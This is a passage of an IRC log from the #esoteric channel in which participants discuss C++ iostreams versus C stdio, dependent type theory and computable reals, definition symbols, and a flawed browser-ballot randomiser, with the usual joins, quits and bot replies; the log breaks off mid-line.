*works on iostreams*. Thus obviating everything different about them.) < 1267410729 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Surely you can retrieve the flags somehow? < 1267410735 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :i mainly use cin.get() and cout.put() < 1267410750 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: No. < 1267410767 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :cin.something? There's no something? Or something()? < 1267410769 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267410781 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, why in the world does endl exist? I could understand if it actually used the system end of line character. < 1267410790 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: pong < 1267410794 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But it *doesn't*. It just outputs \n and flushes the iostream. < 1267410801 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So. Fekking. *Stupid*. < 1267410817 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :coppro, read the C++ criticism. You're a C++ defender person, iirc? < 1267410824 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :oh, I don't defend IOstreams < 1267410825 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :they suck < 1267410830 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :See? < 1267410864 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :... C++ vs C arguments. Seriously? Argh. < 1267410866 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the overarching concept (easily extensible streams) is good, and that's about it < 1267410876 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: Agreed. < 1267410894 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Hey, we have to do one of these every now and then. < 1267411018 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :true or false: iostreams are useful when the professors want to see them in the code? < 1267411027 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :true < 1267411159 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :what are the c stdio equivlents of the c++ iostream functions "cin.get()" and "cout.put()"? < 1267411203 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What's the type of get and put again? < 1267411267 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :getc and putc < 1267411275 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :or something like that < 1267411276 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm... < 1267411281 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :benuphoenix: Which get? < 1267411289 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: the one that gets the next character < 1267411308 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah, the "int get()" one. < 1267411368 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, "int getchar(void)" and "int putchar(int)" are the functions. < 1267411611 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Everyone who needs to breathe has thirty seconds to get off the station. < 1267411728 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://www.stationv3.com/d/20050921.html < 1267412322 0 :benuphoenix!unknown@unknown.invalid QUIT :Quit: leaving < 1267413430 0 :sshc_!~sshc@unaffiliated/sshc JOIN :#esoteric < 1267413479 0 :sshc!unknown@unknown.invalid QUIT :Quit: Reconnecting < 1267413808 0 :sshc_!unknown@unknown.invalid NICK :sshc < 1267416512 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1267418926 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :who wants to dick around with an experiment in flight control for my video game? :D < 1267420091 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :xkcd XD < 1267420248 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wish the die looked better though < 1267420758 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267420785 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1267422008 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1267422233 0 :jcp!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267425364 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Linguini! Fettucini, al forno! Bolognese, Crostini. Carbonara. Manicotti con Granchi e Spinaci. Frutti... di... MARE! Resquiat in pesci, in pesto, e in quattro formaggi. < 1267425375 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Resquiat in fish, pesto, and four cheeses. < 1267425428 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: what are you trying to do lol < 1267425431 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :`translate Linguini; fettucini, al forno; bolognese, Crostini; carbonara; manicotti con Granchi e Spinaci; frutti... di... MARE; resquiat in pesci, in pesto, e in quattro formaggi. < 1267425433 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :SEA; resquiat in fish, pesto, and four cheeses. < 1267425436 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267425441 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to translate that. < 1267425447 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :whats to translate < 1267425451 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :theyre names of foods < 1267425492 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :How about the "al forno" and the "resquiat" parts? < 1267425535 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh who knows im not italian < 1267425616 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I guess all of it is food except the resquiat. < 1267426417 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1267426519 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1267429278 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1267430399 0 :clog!unknown@unknown.invalid QUIT :ended < 1267430400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1267430457 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1267430466 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1267430521 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1267431316 0 :cheater2!~cheater@ip-80-226-21-56.vodafone-net.de JOIN :#esoteric < 1267431809 0 :Asztal!~asztal@host86-156-193-224.range86-156.btcentralplus.com JOIN :#esoteric < 1267432614 0 :adam_d!unknown@unknown.invalid QUIT :Quit: Leaving < 1267434627 0 :yourcomdotmom!~yourcomdo@c-24-130-140-203.hsd1.ca.comcast.net JOIN :#esoteric < 1267434627 0 :yourcomdotmom!unknown@unknown.invalid QUIT :Excess Flood < 1267434674 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1267434794 0 :yourcomdotmom!~yourcomdo@c-24-130-140-203.hsd1.ca.comcast.net JOIN :#esoteric < 1267434934 0 :yourcomdotmom!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267435000 0 :yourcomdotmom!~yourcomdo@c-24-130-140-203.hsd1.ca.comcast.net JOIN :#esoteric < 1267435030 0 :yourcomdotmom!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267435073 0 :yourcomdotmom!~yourcomdo@c-24-130-140-203.hsd1.ca.comcast.net JOIN :#esoteric < 1267436003 0 :yourcomdotmom!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267437066 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267438172 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That translated bit sounds so very very familiar, but I just can't place it. I'm sure I've read it somewhere, though. < 1267440123 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1267440965 0 :scarf!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267441732 0 :ehird!~ehird@95.145.65.10 JOIN :#esoteric < 1267441745 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :March. 'Tis verily March. < 1267442158 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :So I was thinking that the inductive datatype constructor would be M, and the forgotten-the-name (like maybe for Maybe) μ. So you'd define all functions on inductive data-types with μ. I think Epigram 2 does that, or something like it. < 1267442242 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I don't think M : (Set -> Set) -> Set makes sense, though; you can't define a sensible μ recursion combinator just based on that. < 1267442352 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe you can. Feeding the non-M'd (List A) to the empty type gets us `data empty : Void; cons : A -> Void -> Void`. Wait, what? empty : Void? < 1267442356 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :I'm confused now. < 1267442365 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ehird?! < 1267442371 0 :ehird!unknown@unknown.invalid NICK :alise < 1267442373 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gotta fix that default. < 1267442381 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1267442385 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :I MISS MY EHIRD < 1267442389 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Tough shit. < 1267442390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267442392 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :<3 < 1267442397 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ever used unity? < 1267442397 0 :alise!unknown@unknown.invalid NICK :ehird < 1267442399 0 :ehird!unknown@unknown.invalid NICK :alise < 1267442409 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267442427 0 :alise!~alise@95.145.65.10 JOIN :#esoteric < 1267442435 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Never used Unity. 3D is hard; let's go shopping. < 1267442445 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :duuuude < 1267442446 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Write it in my language! < 1267442446 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its so cool < 1267442448 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It'll be dependent. < 1267442458 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :MONOIDAL RENDERING < 1267442805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :18:33:37 coppro, read the C++ criticism. You're a C++ defender person, iirc? < 1267442805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Correct. I would also have accepted "lunatic". < 1267443625 0 :rodgort!unknown@unknown.invalid QUIT :Quit: Coyote finally caught me < 1267443634 0 :rodgort!~rodgort@li14-39.members.linode.com JOIN :#esoteric < 1267443874 0 :scarf!~scarf@unaffiliated/ais523 JOIN :#esoteric < 1267444043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hi scarf < 1267444052 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1267444093 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :sorry, haven't been doing too much esoprogramming recently, unless you consider Java eso < 1267444130 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :one of the things which comes with a job is not always being able to choose which language you write in < 1267444138 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that's alright, I haven't been either < 1267444156 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, then again, I guess you could consider my language eso < 1267444165 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric : so you're saying that Java is a good language know if you want a job? well, it got /me/ a job < 1267444203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::( if i had been there i'd go on a lecture about soul-crushing C.R.U.D. work with contradictory specifications to the student :D < 1267444206 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :that would have been fun! < 1267444224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I may be the most cynical person about programming jobs who has /never had a programming job/ < 1267444225 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :heh, well my job is teaching it to students < 1267444235 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so I don't have the sort of over-enterprisiness issues < 1267444244 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :just, my heart sinking at people confusing classes and methods < 1267444251 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but it's basically like teaching applied satanism :P < 1267444255 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1267444256 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :*haha < 1267444258 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you can do it but... why < 1267444276 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :improving the average quality of Java programmers can only be a good thing, surely? < 1267444280 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :true. < 1267444290 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :anyway, have the computable reals: < 1267444292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data ℝ : Set where < 1267444292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ℝ : (f : ℚ⁺ → ℚ) < 1267444292 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : → {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂} < 1267444293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : → ℝ < 1267444293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1267444293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι : ℚ → ℝ < 1267444293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι q = ℝ (λ_. q) < 1267444333 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :yay, Unicode support < 1267444344 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think any language with a syntax like that is necessarily eso, including APL < 1267444352 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=380731#15 (found via reddit) makes me amused < 1267444354 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Support? I'm afraid I'm going to shift your opinion now; it's not optional. < 1267444361 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Unicode or GTFO! < 1267444377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: that bug report really irritates me < 1267444388 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i am god, accept my holy package judgements < 1267444401 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: it confuses me, but I'm not sure why I'm confused and get even more confused as a result < 1267444429 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: do you consider support for the astral planes also necessary? < 1267444433 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I really like the definition of computable reals < 1267444449 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Well, it's only "required" insofar as the basic syntax and stdlib use it :P < 1267444456 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :oh, for the lang < 1267444460 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :a < 1267444462 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*ah < 1267444471 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or, wait, does any of the actual syntax use it? The arrow is defined in the stdlib, albeit as a primitive < 1267444476 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I thought you meant that Unicode support was necessary for everything, and ended up agreeing with you < 1267444479 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh, of course, lambda < 1267444495 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: Well, that too of course < 1267444498 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Aastral Plane is nice also < 1267444501 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Astral < 1267444506 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :in derl (my underlambda/underload interp), all I/O is in UTF-8, and it uses UTF-32 internally < 1267444527 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I don't think I've ever seen the Unicode version of the astral planes written with a capital letter < 1267444532 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Nor I, oh well < 1267444536 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :God I love dependently-typed languages < 1267444539 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and there are 16 of them < 1267444542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Induction on the naturals as a recursion combinator? < 1267444543 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wyever not < 1267444550 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*Whyever < 1267444585 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: my PhD is turning slightly towards the idea of dependent types; dependent types is sort-of parametrizing types towards values, whereas what I'm doing is in the other direction < 1267444604 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's not sort-of, that's exactly what it is. < 1267444607 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :where types are parametrized by the number of times you're allowed to use a value of that type ever < 1267444615 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: well, ok < 1267444621 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The normal typed lambda calculus is types indexing on types, and values indexing on values. < 1267444626 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :With typeclasses, we have values indexing on types. < 1267444631 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dependent types give us types indexing on values. < 1267444638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or, wait, typeclasses don't /quite/ do that. < 1267444639 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But close. < 1267444653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dependently-typed languages usually have types as first-class values, too, so we get values-indexing-on-types for free. < 1267444735 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :one thing I've been thinking about recently is designing my own VCS < 1267444745 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I like how the (intensional) Axiom of Choice is in fact provable in intuitionistic type theory and thus most dependent langs. < 1267444750 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I think I found a paradigm general enough to contain both git's model and darcs's model as special cases < 1267444756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wonder if it is in Observational Type Theory (the underpinning of Epigram 2)? < 1267444763 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: ooh, the axiom of choice < 1267444769 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Not the extensional axiom of choice, though.) < 1267444777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Extensional is the one that lets you do things like order the real numbers. < 1267444786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/blog/20050604T143800Z.html < 1267444788 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :when you're in a CS department, you eventually find someone who makes you realise that it isn't actually obvious after all < 1267444792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can have one without the other. < 1267444801 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which is awesome. < 1267444854 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*intensional not intuitionistic < 1267444865 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the intensional one is the one that's normally stated as the axiom, at least here < 1267444892 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :but then, we're normally dealing with sets, where the existence of quotients is taken for granted < 1267444898 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so they probably come out equivalent there < 1267444922 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes it's causing me a bit of a crisis as I like quotient types < 1267444945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and Observational Type Theory which has a really nice definition of equality has tem < 1267444947 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*them < 1267444953 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, that first link is a data: link < 1267444955 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I love that page < 1267444958 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but surely it cannot have extensional choice? < 1267444964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :otherwise it'd have excluded middle < 1267444979 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :although it doesn't load in my browser < 1267444981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and you cannot give a value of either p or p -> Void for every type p... < 1267444989 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: he does tat a lot < 1267444993 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*that < 1267444995 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's like footnotes but awesome < 1267445006 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I wonder why it isn't working? loading it just gives me a blank page < 1267445009 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :his blog http://r6.ca/blog/ is very cool < 1267445122 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/blog/20091101T231201Z.html man I haven't read this before < 1267445188 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :hmm, loads in Epiphany < 1267445192 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's -webkit < 1267445237 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That data: link was the strange in my Ubuntu 3.0-series Firefox too: clicking did nothing; opened in new tab, initially got a blank page with no special load indicators; finally got it open when I went to the location bar to press enter once. < 1267445250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WFM (safari) < 1267445255 0 :Gracenotes!unknown@unknown.invalid QUIT :Quit: Leaving < 1267445289 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Given that it works just fine after the go-to-location-bar-and-press-return, I suppose there's nothing wrong with the link itself. < 1267445290 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: ah, let me try that in FF < 1267445317 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yep, same results < 1267445334 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that /is/ a weird bug, I wonder if it's an FF bug or an extension bug? < 1267445350 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so, guys, what's your favourite definition symbol? < 1267445376 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I like ≔ < 1267445443 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I like that snowman guy. < 1267445486 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :har har < 1267445553 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: = with a little word "def" over it is normally used when writing proofs here < 1267445565 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure how much I like it, but it's at least unambiguous < 1267445565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but you need a huge font size for that to be readable. < 1267445581 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :also, there's something very nicely pure about a language that can get away with using = for defined-equal < 1267445583 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Plus, it is ugly; we rarely use words in mathematics, preferring symbols (including alphanumeric ones). < 1267445583 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :≔ is nice, though in this font even that's just a = that has some sort of blobby things on the left end. < 1267445585 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :like Algol 68 < 1267445599 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Overlaying an English abbreviation on top of a very common symbol is just silly/ < 1267445599 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :or Haskell < 1267445601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*silly. < 1267445603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Ditto. < 1267445613 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :it's visible as a :=-alike to me < 1267445617 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: It isn't pure, though, because that's not really what it means. < 1267445617 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's still better-looking than the ≝ though. < 1267445618 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :with less space between the : and hte = < 1267445623 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: I know < 1267445627 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I mean, that one's just a = with a larger smudge above. < 1267445628 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: ugh, that's awful < 1267445633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :At the very least it should be ≡. < 1267445642 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Definitional equality, propositional equality, ... < 1267445647 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :if I zoom right in, I can see the word def < 1267445653 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Spam, spam, equality and spam... < 1267445656 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :that's zooming via super-mousewheel, not by making the font bigger < 1267445681 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :you don't realise how much you were missing super-mousewheel until you get a system where it works < 1267445695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ctrl-mousewheell in os x. < 1267445697 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have no mousewheel, though < 1267445700 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and ≡ to me implies congruence rather than definition < 1267445711 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Er, right, definitional equality is =. < 1267445716 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :super-mousewheel works via the touchpad here < 1267445725 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :≡ is propositional. < 1267445729 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :scarf: No mouse at all < 1267445730 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :ah, ok < 1267445737 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :alise: heh, you remind me of me < 1267445753 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :the mouse I have at the moment is basically broken, I need a new one / to stop using the mouse again < 1267445762 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I mostly only use it for Enigma, NetBeans, and websurfing as it is < 1267445772 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(NetBeans because it doesn't respond to keyboard shortcuts in a sane manner) < 1267445790 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have a mouse just no radio receiving thing for it. < 1267445808 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :As you know I'm not in my usual residence, so this stuff had to be picked up and the receiver was not. < 1267445821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Should be resolved by today with the amazing solution of "purchasing a mouse" :P < 1267445827 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :(putting one of the more useful key combos on alt-f1, followed by preventing the usual shortcut keys opening the only menu which has that option on as a command, means you have to use the mouse for some things) < 1267445950 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :haha: http://www.robweir.com/blog/2010/02/microsoft-random-browser-ballot.html < 1267445961 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :summary: Microsoft messed up the code for randomizing the order of browsers in their ballot thing < 1267445966 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so not all the combinations have equal probabilities < 1267446052 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.browserchoice.eu/BrowserChoice/browserchoice_en.htm < 1267446057 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What the fuck is a "green" browser? < 1267446130 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION follows the tell me more link
< 1267446138 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I bet they claim to be environmentally friendly, or something < 1267446159 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :wow, the PNG image on their home page is taking around 10 seconds to load < 1267446159 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I thought that too but it doesn't seem so < 1267446166 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :I don't think I've seen an image load that slowly for months < 1267446170 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I like how there's like a few decent browsers and then holy shit obscureathons < 1267446177 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :and last time, it was goatse, and I managed to click away before more than the top 20 or so pixels loaded < 1267446182 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :after guessing it was a goatse < 1267446188 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :so I've seen the top 20 pixels or so of goatse, but no more < 1267446237 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :http://www.morequick.com/IndexEn.htm <--- wow that's a bad homepage < 1267446275 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and a bad browesr < 1267446281 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :looks like it uses IE's engine < 1267446287 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :see bottom left of screenshot < 1267446316 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :heh, that's the IE logo, you're right < 1267446340 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah like Maxthon and shit they're all the same < 1267446344 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :take IE engine add shitty UI with tabs done < 1267446350 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :how can a website called morequick.com load so slowly? < 1267446379 0 :scarf!unknown@unknown.invalid 